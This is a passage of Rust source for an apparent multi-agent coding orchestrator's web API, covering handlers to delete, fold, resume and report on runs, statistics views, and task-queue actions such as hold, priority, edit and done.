2562/// whose state this build cannot read at all, where there is no candidate
2563/// list to check and the wholesale removal `magi fold` already uses for that
2564/// case is the only meaningful "delete".
2565async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2566    let (id, unreadable) = {
2567        let ui = Arc::clone(&ui);
2568        blocking(move || {
2569            let id = resolve_run(&ui.runs, &id)?;
2570            match read_run(&ui.runs, &id) {
2571                Ok(state) => {
2572                    let in_flight =
2573                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2574                    state
2575                        .ensure_can_delete(in_flight)
2576                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2577                    let dir = ui.runs.join(&id);
2578                    std::fs::remove_dir_all(&dir)
2579                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2580                    Ok((id, false))
2581                }
2582                Err(_) => {
2583                    // Unreadable: there is no candidate list to guard on, so
2584                    // a live daemon's claim is the only thing left to check -
2585                    // the same rule `run_fold` applies for the same reason.
2586                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2587                        return Err(ApiError::conflict(format!(
2588                            "run {id} is being worked on by a live daemon right now"
2589                        )));
2590                    }
2591                    Ok((id, true))
2592                }
2593            }
2594        })
2595        .await?
2596    };
2597    if unreadable {
2598        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2599            .await
2600            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2601    }
2602    let ui = Arc::clone(&ui);
2603    let done = id.clone();
2604    blocking(move || {
2605        // The agent that asked died with the run, so an open question would
2606        // keep asking the operator for a decision nobody can deliver.
2607        ui.questions.abandon_for_run(
2608            &done,
2609            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2610        )?;
2611        Ok(())
2612    })
2613    .await?;
2614    Ok(StatusCode::NO_CONTENT)
2615}
2616
2617/// `POST /api/runs/{id}/fold`.
2618///
2619/// Remove a run's candidate worktrees and branches, keeping its record.
2620///
2621/// This exists because the deck answered "delete this run" with *"Candidates
2622/// must be folded before deleting. Run `magi fold` first."* — a phone being
2623/// told to open a terminal, in the one product whose point is that it does
2624/// not need one. The runs an operator most wants gone are the stalled and
2625/// blocked ones, and those are exactly the runs still holding worktrees:
2626/// three of them here held 53 GB.
2627///
2628/// The winner's tree goes too. A fold is what someone asks for when they are
2629/// finished with a run, and leaving one tree behind would leave the delete
2630/// button disabled for the same reason as before.
2631///
2632/// Refused while a live daemon is working on the run, on the rule that guards
2633/// deletion: folding underneath a running agent would pull the tree it is
2634/// editing out from under it.
2635///
2636/// A run whose state this build cannot read at all falls back to
2637/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2638/// selectively, so the whole record's worktree goes wholesale, exactly what
2639/// `magi fold` does on the command line for the same run.
2640async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2641    let (id, state) = {
2642        let ui = Arc::clone(&ui);
2643        blocking(move || {
2644            let id = resolve_run(&ui.runs, &id)?;
2645            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2646                return Err(ApiError::conflict(format!(
2647                    "run {id} is being worked on by a live daemon right now"
2648                )));
2649            }
2650            let state = read_run(&ui.runs, &id).ok();
2651            Ok((id, state))
2652        })
2653        .await?
2654    };
2655    let removed = match state {
2656        Some(mut state) => {
2657            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2658                .await
2659                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2660            // Nothing left to remove is not the same thing as nothing left to
2661            // do — see `clean::clear_abandoned_active`'s own doc for the run
2662            // this exists for: worktrees already gone, but a killed process
2663            // left active seats nobody will ever answer for.
2664            if removed.is_empty() {
2665                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2666                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667            }
2668            removed
2669        }
2670        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2671            .await
2672            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2673    };
2674    Ok(Json(FoldView {
2675        run: id,
2676        removed_count: removed.len(),
2677        removed,
2678    }))
2679}
2680
2681/// What a fold took away, so the deck can say so rather than only re-render.
2682#[derive(Debug, Serialize)]
2683struct FoldView {
2684    run: String,
2685    /// Worktree paths and branch names removed, in the order they went.
2686    removed: Vec<String>,
2687    removed_count: usize,
2688}
2689
2690/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2691/// merged outside of `land::land`'s own loop.
2692#[derive(Debug, Deserialize)]
2693struct FoldMergedBody {
2694    #[serde(default)]
2695    pr_url: String,
2696}
2697
2698/// `POST /api/runs/{id}/fold-merged`.
2699///
2700/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2701/// `Blocked` with `merge: null` because magi never got as far as opening a
2702/// pull request of its own (a title over GitHub's length limit, `gh pr
2703/// create` unreachable, a stale token), which the operator then finished by
2704/// hand on a pull request magi never recorded. The "Run actions" sheet used
2705/// to have no way to tell it about that pull request short of a terminal and
2706/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2707/// this exists and what it deliberately does not do (`bump::after_merge`).
2708///
2709/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2710/// correction rewrites the same `status`/`merge` fields a running graph would
2711/// be writing to on its own.
2712///
2713/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2714/// calls plus a fold, seconds of work, and the phone should get its answer
2715/// (which pull request it recorded, and what changed) in the same round
2716/// trip rather than learning it from the change stream.
2717async fn run_fold_merged(
2718    State(ui): State<Arc<Ui>>,
2719    Path(id): Path<String>,
2720    Json(body): Json<FoldMergedBody>,
2721) -> ApiResult<Json<FoldMergedView>> {
2722    let pr_url = body.pr_url.trim().to_owned();
2723    if pr_url.is_empty() {
2724        return Err(ApiError::bad_request("pr_url is required"));
2725    }
2726    let (id, mut state) = {
2727        let ui = Arc::clone(&ui);
2728        blocking(move || {
2729            let id = resolve_run(&ui.runs, &id)?;
2730            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2731                return Err(ApiError::conflict(format!(
2732                    "run {id} is being worked on by a live daemon right now"
2733                )));
2734            }
2735            let state = read_run(&ui.runs, &id)?;
2736            Ok((id, state))
2737        })
2738        .await?
2739    };
2740    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2741        .await
2742        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2743    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2744        .await
2745        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2746    Ok(Json(FoldMergedView {
2747        run: id,
2748        before: before.as_str().to_owned(),
2749        after: after.as_str().to_owned(),
2750        removed,
2751    }))
2752}
2753
2754/// What [`run_fold_merged`] did, so the deck can say so.
2755#[derive(Debug, Serialize)]
2756struct FoldMergedView {
2757    run: String,
2758    /// `status` before the correction — normally `"blocked"`.
2759    before: String,
2760    /// `status` after — normally `"merged"`.
2761    after: String,
2762    /// Worktree paths and branch names the trailing fold removed.
2763    removed: Vec<String>,
2764}
2765
2766/// `POST /api/runs/{id}/resume`.
2767///
2768/// Carry a stalled run on from where it stopped, in the background.
2769///
2770/// A stalled card says "the work is kept" and used to offer no way to act on
2771/// that: the candidates are built and paid for, and continuing means re-asking
2772/// only the seats whose absence collapsed the panel. The alternative an
2773/// operator actually had was releasing the task, which competes three fresh
2774/// implementations against work that already exists.
2775///
2776/// **202, not 200.** A resume runs agents for minutes; holding the connection
2777/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2778/// phone learns the outcome from the change stream.
2779///
2780/// Refused when the loop is running at all, not merely when it is on this run.
2781/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2782/// started a second graph on top of whatever the loop is already driving —
2783/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2784/// allows — would spend that quota twice over for no extra throughput.
2785async fn run_resume(
2786    State(ui): State<Arc<Ui>>,
2787    Path(id): Path<String>,
2788) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2789    let (id, state) = {
2790        let ui = Arc::clone(&ui);
2791        blocking(move || {
2792            let id = resolve_run(&ui.runs, &id)?;
2793            let state = read_run(&ui.runs, &id)?;
2794            Ok((id, state))
2795        })
2796        .await?
2797    };
2798    if let Some(to) = &state.released_to {
2799        return Err(ApiError::conflict(format!(
2800            "run {} can no longer be resumed: its worktree was released to run {}, which \
2801             took the branch over.",
2802            state.short(),
2803            crate::run::short_of(to)
2804        )));
2805    }
2806    if !state.status.resumable() {
2807        return Err(ApiError::conflict(format!(
2808            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2809            state.short(),
2810            status_word(state.status)
2811        )));
2812    }
2813    // Refused whenever the loop is running anything at all, not merely when
2814    // it is on this run: a manual resume racing a loop-driven run over the
2815    // same agent quota is the thing this guard exists to prevent, whether
2816    // the loop's own concurrency is one run or several.
2817    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2818        .into_iter()
2819        .next()
2820    {
2821        return Err(ApiError::conflict(format!(
2822            "the loop is running run {} right now; stop it first, or wait for \
2823             it to finish, before resuming a run by hand.",
2824            crate::run::short_of(&work.run)
2825        )));
2826    }
2827    let _resume = ui.begin_resume(&id)?;
2828
2829    // The same shape the list route returns, so the phone updates the card it
2830    // already has rather than learning a second schema for one button.
2831    let queued = RunSummary::of(
2832        &state,
2833        !ui.questions.open_for(&id).is_empty(),
2834        state.liveness(false),
2835    );
2836    let run = id.clone();
2837    tokio::spawn(async move {
2838        let _resume = _resume;
2839        match crate::graph::Runner::resume(&run) {
2840            Ok(mut runner) => {
2841                if let Err(e) = runner.execute().await {
2842                    tracing::warn!("resume of run {run} stopped: {e:#}");
2843                }
2844            }
2845            // The run's own record is what the phone reads; this line is for
2846            // the operator's terminal.
2847            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2848        }
2849    });
2850    Ok((StatusCode::ACCEPTED, Json(queued)))
2851}
2852
2853async fn run_report(
2854    State(ui): State<Arc<Ui>>,
2855    Path(id): Path<String>,
2856) -> ApiResult<impl IntoResponse> {
2857    let text = blocking(move || {
2858        let id = resolve_run(&ui.runs, &id)?;
2859        // Colour is off for the whole process, set once in `serve`. Rendering
2860        // is CPU work over the full state, which is the other reason this is
2861        // not on the executor.
2862        let state = read_run(&ui.runs, &id)?;
2863        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2864        let live = state.liveness(daemon_claims);
2865        Ok(format!(
2866            "{}{}",
2867            report::run(&state),
2868            report::active_seats(&state, live)
2869        ))
2870    })
2871    .await?;
2872    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2873}
2874
2875/// A task as the UI sees it.
2876///
2877/// The whole task, plus the two things the client would otherwise have to
2878/// reimplement: the human-readable source and the status string. Nothing is
2879/// removed - the phone shows `last_error` and the run history verbatim.
2880#[derive(Debug, Serialize)]
2881struct TaskView {
2882    #[serde(flatten)]
2883    task: Task,
2884    source_label: String,
2885    status_str: &'static str,
2886    /// The instruction, parsed as markdown, for the Queue card's "Full
2887    /// instruction" panel. `task.instruction` is unchanged and still carries
2888    /// the raw text.
2889    instruction_md: Vec<md::Node>,
2890    /// For a blocked task, what it waits on with each dependency's state, e.g.
2891    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2892    /// recurses; empty for every other status.
2893    waits_on: Vec<String>,
2894    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2895    /// behind - non-empty means nothing in the loop will ever run it.
2896    stuck_roots: Vec<String>,
2897}
2898
2899impl From<Task> for TaskView {
2900    fn from(task: Task) -> Self {
2901        Self {
2902            source_label: task.source.label(),
2903            status_str: task.status.as_str(),
2904            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2905            waits_on: Vec::new(),
2906            stuck_roots: Vec::new(),
2907            task,
2908        }
2909    }
2910}
2911
2912impl TaskView {
2913    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2914        let waits_on = inv.waits_on(&task);
2915        let stuck_roots = inv
2916            .stuck_roots(&task)
2917            .iter()
2918            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2919            .collect();
2920        Self {
2921            waits_on,
2922            stuck_roots,
2923            ..Self::from(task)
2924        }
2925    }
2926}
2927
2928/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2929/// its absence, leaves the cache to decide.
2930#[derive(Debug, Default, Deserialize)]
2931#[serde(default)]
2932struct ReposQuery {
2933    refresh: u8,
2934}
2935
2936/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2937/// listing `magi repos` prints at a terminal.
2938///
2939/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2940/// so an edit to `magi.toml` takes effect without a restart, the same
2941/// reasoning [`config_for`] documents for the talk routes.
2942async fn repos_list(
2943    State(ui): State<Arc<Ui>>,
2944    Query(q): Query<ReposQuery>,
2945) -> ApiResult<Json<Vec<repos::Repo>>> {
2946    let refresh = q.refresh != 0;
2947    blocking(move || {
2948        let (cfg, _) = Config::discover(&ui.repo, None)?;
2949        Ok(Json(ui.repos_cache.list(
2950            &cfg.repos.roots,
2951            Duration::from_secs(cfg.repos.scan_ttl),
2952            refresh,
2953        )))
2954    })
2955    .await
2956}
2957
2958async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2959    blocking(move || {
2960        let tasks = ui.queue.list();
2961        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2962        Ok(Json(
2963            tasks
2964                .into_iter()
2965                .map(|t| TaskView::with_inventory(t, &inv))
2966                .collect(),
2967        ))
2968    })
2969    .await
2970}
2971
2972/// A rate together with its denominator, so the client can tell "computed as
2973/// 0%" apart from "no data to compute it from" — both would otherwise
2974/// serialize as `0.0`. `None` means the denominator was zero.
2975#[derive(Debug, Serialize)]
2976struct RateView {
2977    pct: f64,
2978    denominator: usize,
2979}
2980
2981impl RateView {
2982    fn of(numerator: usize, denominator: usize) -> Option<Self> {
2983        (denominator > 0).then(|| Self {
2984            pct: 100.0 * numerator as f64 / denominator as f64,
2985            denominator,
2986        })
2987    }
2988}
2989
2990/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
2991/// rates, each paired with its own denominator via [`RateView`] rather than
2992/// exposing `Stats`' own percentage methods directly — see this module's
2993/// doc for why `Stats` itself is never serialized.
2994#[derive(Debug, Serialize)]
2995struct StatsTotalsView {
2996    runs: usize,
2997    merged: usize,
2998    ready: usize,
2999    blocked: usize,
3000    failed: usize,
3001    stalled: usize,
3002    verified_noop: usize,
3003    superseded: usize,
3004    in_progress: usize,
3005    completion_rate: Option<RateView>,
3006    tallied: usize,
3007    split: usize,
3008    split_rate: Option<RateView>,
3009    deliberated: usize,
3010    minds_changed: usize,
3011    converged: usize,
3012    review_rounds: usize,
3013}
3014
3015impl From<&stats::Totals> for StatsTotalsView {
3016    fn from(t: &stats::Totals) -> Self {
3017        Self {
3018            runs: t.runs,
3019            merged: t.merged,
3020            ready: t.ready,
3021            blocked: t.blocked,
3022            failed: t.failed,
3023            stalled: t.stalled,
3024            verified_noop: t.verified_noop,
3025            superseded: t.superseded,
3026            in_progress: t.in_progress,
3027            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3028            tallied: t.tallied,
3029            split: t.split,
3030            split_rate: RateView::of(t.split, t.tallied),
3031            deliberated: t.deliberated,
3032            minds_changed: t.minds_changed,
3033            converged: t.converged,
3034            review_rounds: t.review_rounds,
3035        }
3036    }
3037}
3038
3039/// [`crate::stats::AgentStats`] for the wire.
3040#[derive(Debug, Serialize)]
3041struct AgentStatsView {
3042    agent: String,
3043    entered: usize,
3044    wins: usize,
3045    empty: usize,
3046    win_rate: Option<RateView>,
3047}
3048
3049impl From<&stats::AgentStats> for AgentStatsView {
3050    fn from(a: &stats::AgentStats) -> Self {
3051        Self {
3052            agent: a.agent.clone(),
3053            entered: a.entered,
3054            wins: a.wins,
3055            empty: a.empty,
3056            win_rate: RateView::of(a.wins, a.entered),
3057        }
3058    }
3059}
3060
3061/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
3062/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
3063/// value, `None` when `rounds` is zero.
3064#[derive(Debug, Serialize)]
3065struct ReviewerStatsView {
3066    agent: String,
3067    rounds: usize,
3068    seated: usize,
3069    submitted: usize,
3070    adopted: usize,
3071    unique: usize,
3072    timeouts: usize,
3073    adopted_per_round: Option<f64>,
3074    precision: Option<RateView>,
3075    unique_rate: Option<RateView>,
3076    timeout_rate: Option<RateView>,
3077}
3078
3079impl From<&stats::ReviewerStats> for ReviewerStatsView {
3080    fn from(r: &stats::ReviewerStats) -> Self {
3081        Self {
3082            agent: r.agent.clone(),
3083            rounds: r.rounds,
3084            seated: r.seated,
3085            submitted: r.submitted,
3086            adopted: r.adopted,
3087            unique: r.unique,
3088            timeouts: r.timeouts,
3089            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3090            precision: RateView::of(r.adopted, r.submitted),
3091            unique_rate: RateView::of(r.unique, r.submitted),
3092            timeout_rate: RateView::of(r.timeouts, r.seated),
3093        }
3094    }
3095}
3096
3097/// [`crate::stats::AdvisorStats`] for the wire.
3098///
3099/// `reflection_rate` is approximate by construction — see
3100/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
3101/// that caveat is static text in `index.html`, not a field here.
3102#[derive(Debug, Serialize)]
3103struct AdvisorStatsView {
3104    agent: String,
3105    seated: usize,
3106    proposed: usize,
3107    absent: usize,
3108    faint: usize,
3109    strong: usize,
3110    reflection_rate: Option<RateView>,
3111}
3112
3113impl From<&stats::AdvisorStats> for AdvisorStatsView {
3114    fn from(a: &stats::AdvisorStats) -> Self {
3115        Self {
3116            agent: a.agent.clone(),
3117            seated: a.seated,
3118            proposed: a.proposed,
3119            absent: a.absent,
3120            faint: a.faint,
3121            strong: a.strong,
3122            reflection_rate: RateView::of(a.strong, a.proposed),
3123        }
3124    }
3125}
3126
3127/// [`crate::stats::E2eStats`] for the wire.
3128#[derive(Debug, Serialize)]
3129struct E2eStatsView {
3130    rounds: usize,
3131    failures: usize,
3132    sole_detections: usize,
3133    deferred: usize,
3134    sole_rate: Option<RateView>,
3135}
3136
3137impl From<&stats::E2eStats> for E2eStatsView {
3138    fn from(e: &stats::E2eStats) -> Self {
3139        Self {
3140            rounds: e.rounds,
3141            failures: e.failures,
3142            sole_detections: e.sole_detections,
3143            deferred: e.deferred,
3144            sole_rate: RateView::of(e.sole_detections, e.failures),
3145        }
3146    }
3147}
3148
3149/// [`crate::stats::ReleaseBumpStats`] for the wire.
3150///
3151/// `clean` is sent as a raw count, computed the same way
3152/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
3153/// needs_attention`) — never derived client-side from `automerge_enabled`,
3154/// which would misclassify a `merged_directly` bump (automerge rejected, but
3155/// magi merged it directly, so no human involvement) as needing attention.
3156#[derive(Debug, Serialize)]
3157struct ReleaseBumpStatsView {
3158    merged: usize,
3159    recorded: usize,
3160    pr_opened: usize,
3161    automerge_enabled: usize,
3162    merged_directly: usize,
3163    needs_attention: usize,
3164    clean: usize,
3165    coverage_rate: Option<RateView>,
3166    automerge_rate: Option<RateView>,
3167    attention_rate: Option<RateView>,
3168}
3169
3170impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3171    fn from(b: &stats::ReleaseBumpStats) -> Self {
3172        Self {
3173            merged: b.merged,
3174            recorded: b.recorded,
3175            pr_opened: b.pr_opened,
3176            automerge_enabled: b.automerge_enabled,
3177            merged_directly: b.merged_directly,
3178            needs_attention: b.needs_attention,
3179            clean: b.clean(),
3180            coverage_rate: RateView::of(b.recorded, b.merged),
3181            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3182            attention_rate: RateView::of(b.needs_attention, b.recorded),
3183        }
3184    }
3185}
3186
3187/// [`crate::queue::TaskCounts`] for the wire.
3188#[derive(Debug, Serialize)]
3189struct TaskCountsView {
3190    queued: usize,
3191    running: usize,
3192    done: usize,
3193    failed: usize,
3194    held: usize,
3195    blocked: usize,
3196}
3197
3198impl From<crate::queue::TaskCounts> for TaskCountsView {
3199    fn from(c: crate::queue::TaskCounts) -> Self {
3200        Self {
3201            queued: c.queued,
3202            running: c.running,
3203            done: c.done,
3204            failed: c.failed,
3205            held: c.held,
3206            blocked: c.blocked,
3207        }
3208    }
3209}
3210
3211/// [`crate::stats::RepoStats`] for the wire, one row per repository with
3212/// runs recorded — the summary the UI's repository selector is built from.
3213/// Carries no nested `Stats`: picking a repo means re-fetching
3214/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
3215/// aggregation rather than duplicating it.
3216#[derive(Debug, Serialize)]
3217struct RepoSummaryView {
3218    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
3219    /// against, full path and all (see [`stats_get`]'s own doc for why).
3220    repo: String,
3221    /// Display name only; never used for matching.
3222    name: String,
3223    runs: usize,
3224    completion_rate: Option<RateView>,
3225}
3226
3227impl From<&stats::RepoStats> for RepoSummaryView {
3228    fn from(r: &stats::RepoStats) -> Self {
3229        let t = &r.stats.totals;
3230        Self {
3231            repo: r.repo.to_string_lossy().into_owned(),
3232            name: r.name.clone(),
3233            runs: t.runs,
3234            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3235        }
3236    }
3237}
3238
3239/// `GET /api/stats` - the whole answer. `Stats` itself carries no
3240/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
3241/// renders from them) are free to grow without that becoming a wire-contract
3242/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
3243/// data" from "computed and it really is zero" the way [`RateView`] does.
3244#[derive(Debug, Serialize)]
3245struct StatsView {
3246    totals: StatsTotalsView,
3247    /// Best win rate first, as [`stats::collect`] already sorts it.
3248    agents: Vec<AgentStatsView>,
3249    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
3250    reviewers: Vec<ReviewerStatsView>,
3251    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
3252    advisors: Vec<AdvisorStatsView>,
3253    e2e: E2eStatsView,
3254    release_bumps: ReleaseBumpStatsView,
3255    queue: TaskCountsView,
3256    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
3257    /// that field's doc. Asserted to match it in
3258    /// `stats_runs_unreadable_matches_health`.
3259    ///
3260    /// Always the whole-workload count, even when `repo` narrows every other
3261    /// field to one repository - an unreadable `run.json` carries no `repo`
3262    /// a per-repository count could attribute it to, and the queue/health
3263    /// views this mirrors never scope it either. The UI must not present it
3264    /// as if it were scoped to the selected repository.
3265    runs_unreadable: usize,
3266    /// Every repository with runs recorded, most runs first - what the UI's
3267    /// repository selector is built from. Always the full list regardless of
3268    /// `repo`, so switching repositories never needs a second request.
3269    repos: Vec<RepoSummaryView>,
3270    /// The `?repo=` value this response was narrowed to, echoed back so the
3271    /// UI can confirm its selection round-tripped. `None` for the aggregate,
3272    /// all-repositories view.
3273    repo: Option<String>,
3274}
3275
3276/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
3277/// repository. Matched by full-path equality against `RunState.repo` only
3278/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
3279/// `--repo` is, because the value here always came from this same route's
3280/// own `repos` list in an earlier response, never typed by a human. A value
3281/// matching no run is a 404, not an empty aggregate: the caller asked for a
3282/// specific, named repository, and silently returning zeroes would look
3283/// exactly like a repository that has runs but none of interest.
3284#[derive(Debug, Default, Deserialize)]
3285#[serde(default)]
3286struct StatsQuery {
3287    repo: Option<String>,
3288}
3289
3290/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
3291/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
3292/// runs when `?repo=` narrows it), the same counting logic `magi stats`
3293/// prints from. Reads every readable run on disk, exactly as
3294/// [`runs_unreadable`] does, so the two counts can never drift apart the way
3295/// a separately-maintained tally could.
3296async fn stats_get(
3297    State(ui): State<Arc<Ui>>,
3298    Query(q): Query<StatsQuery>,
3299) -> ApiResult<Json<StatsView>> {
3300    blocking(move || {
3301        let states: Vec<RunState> = run_ids(&ui.runs)
3302            .into_iter()
3303            .filter_map(|id| read_run(&ui.runs, &id).ok())
3304            .collect();
3305        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3306            .iter()
3307            .map(RepoSummaryView::from)
3308            .collect();
3309        let collected = match &q.repo {
3310            Some(repo) => {
3311                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3312                if filtered.is_empty() {
3313                    return Err(ApiError::not_found(format!(
3314                        "no runs recorded against repo `{repo}`"
3315                    )));
3316                }
3317                stats::collect_refs(filtered)
3318            }
3319            None => stats::collect(&states),
3320        };
3321        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3322        Ok(Json(StatsView {
3323            totals: StatsTotalsView::from(&collected.totals),
3324            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3325            reviewers: collected
3326                .reviewers
3327                .iter()
3328                .map(ReviewerStatsView::from)
3329                .collect(),
3330            advisors: collected
3331                .advisors
3332                .iter()
3333                .map(AdvisorStatsView::from)
3334                .collect(),
3335            e2e: E2eStatsView::from(&collected.e2e),
3336            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3337            queue: TaskCountsView::from(queue_counts),
3338            runs_unreadable: runs_unreadable(&ui.runs),
3339            repos,
3340            repo: q.repo.clone(),
3341        }))
3342    })
3343    .await
3344}
3345
3346/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
3347/// gives no reason - which must keep working, since not every hold has one.
3348#[derive(Debug, Default, Deserialize)]
3349#[serde(default, deny_unknown_fields)]
3350struct HoldBody {
3351    reason: Option<String>,
3352}
3353
3354async fn queue_hold(
3355    State(ui): State<Arc<Ui>>,
3356    Path(id): Path<String>,
3357    body: std::result::Result<Json<HoldBody>, JsonRejection>,
3358) -> ApiResult<Json<TaskView>> {
3359    // An absent body is the ordinary case - most holds are unexplained, and
3360    // that has to stay a one-tap action rather than a form. A body that is
3361    // present and malformed is still a bad request.
3362    let body = match body {
3363        Ok(Json(body)) => body,
3364        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3365        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3366    };
3367    let reason = body.reason.filter(|r| !r.trim().is_empty());
3368    mutate(ui, id, move |t| {
3369        t.hold_manual(reason.clone());
3370        Ok(())
3371    })
3372    .await
3373}
3374
3375async fn queue_release(
3376    State(ui): State<Arc<Ui>>,
3377    Path(id): Path<String>,
3378) -> ApiResult<Json<TaskView>> {
3379    mutate(ui, id, |t| {
3380        t.release();
3381        Ok(())
3382    })
3383    .await
3384}
3385
3386/// The body of `POST /api/queue/{id}/priority`.
3387#[derive(Debug, Deserialize)]
3388#[serde(deny_unknown_fields)]
3389struct PriorityBody {
3390    priority: i32,
3391}
3392
3393/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
3394///
3395/// [`Task::set_priority`] is the one place the "not while running" rule is
3396/// stated; this route only carries the body to it and lets its `Err` become
3397/// the 4xx the card shows.
3398async fn queue_priority(
3399    State(ui): State<Arc<Ui>>,
3400    Path(id): Path<String>,
3401    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3402) -> ApiResult<Json<TaskView>> {
3403    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3404    mutate(ui, id, move |t| t.set_priority(body.priority)).await
3405}
3406
3407/// The body of `POST /api/queue/{id}/edit`.
3408#[derive(Debug, Deserialize)]
3409#[serde(deny_unknown_fields)]
3410struct EditBody {
3411    title: String,
3412    instruction: String,
3413    /// Save even though the new text names a branch, commit or pull request
3414    /// that unfinished work already owns.
3415    #[serde(default)]
3416    force: bool,
3417}
3418
3419/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
3420/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
3421/// that refusal's message is what the sheet shows back.
3422async fn queue_edit(
3423    State(ui): State<Arc<Ui>>,
3424    Path(id): Path<String>,
3425    body: std::result::Result<Json<EditBody>, JsonRejection>,
3426) -> ApiResult<Json<TaskView>> {
3427    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3428    let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3429    mutate(ui, id, move |t| {
3430        if !body.force && body.instruction != t.instruction {
3431            let hits =
3432                crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
3433            if !hits.is_empty() {
3434                return Err(crate::dupes::Duplicate(hits).into());
3435            }
3436        }
3437        t.edit(body.title.clone(), body.instruction.clone())
3438    })
3439    .await
3440}
3441
3442/// `POST /api/queue/{id}/done` - close a task as finished without deleting
3443/// it, so the phone's other way to clear a task from the backlog does not
3444/// have to cost the run history, the attribution, and `created_at` the way
3445/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
3446/// can be marked done by hand, because this is for the run the loop never
3447/// saw land - a merge done by hand, or a gate that misreported - and that can
3448/// happen from any status the task was left in.
3449async fn queue_done(
3450    State(ui): State<Arc<Ui>>,
3451    Path(id): Path<String>,
3452) -> ApiResult<Json<TaskView>> {
3453    let home = ui.home.clone();
3454    mutate(ui, id, move |t| {
3455        t.succeed();
3456        // Same as the loop's own settle path: closing a task by hand is just
3457        // as much "this task's story is over" as a daemon-driven `Merged`/
3458        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
3459        // behind must stop looking like it still needs a human. `ui.home`,
3460        // not the process-global `run::home()`: they agree in a real
3461        // process, but only `ui.home` also agrees with a test fixture's own
3462        // directory.
3463        crate::daemon::supersede_prior_runs(t, &home);
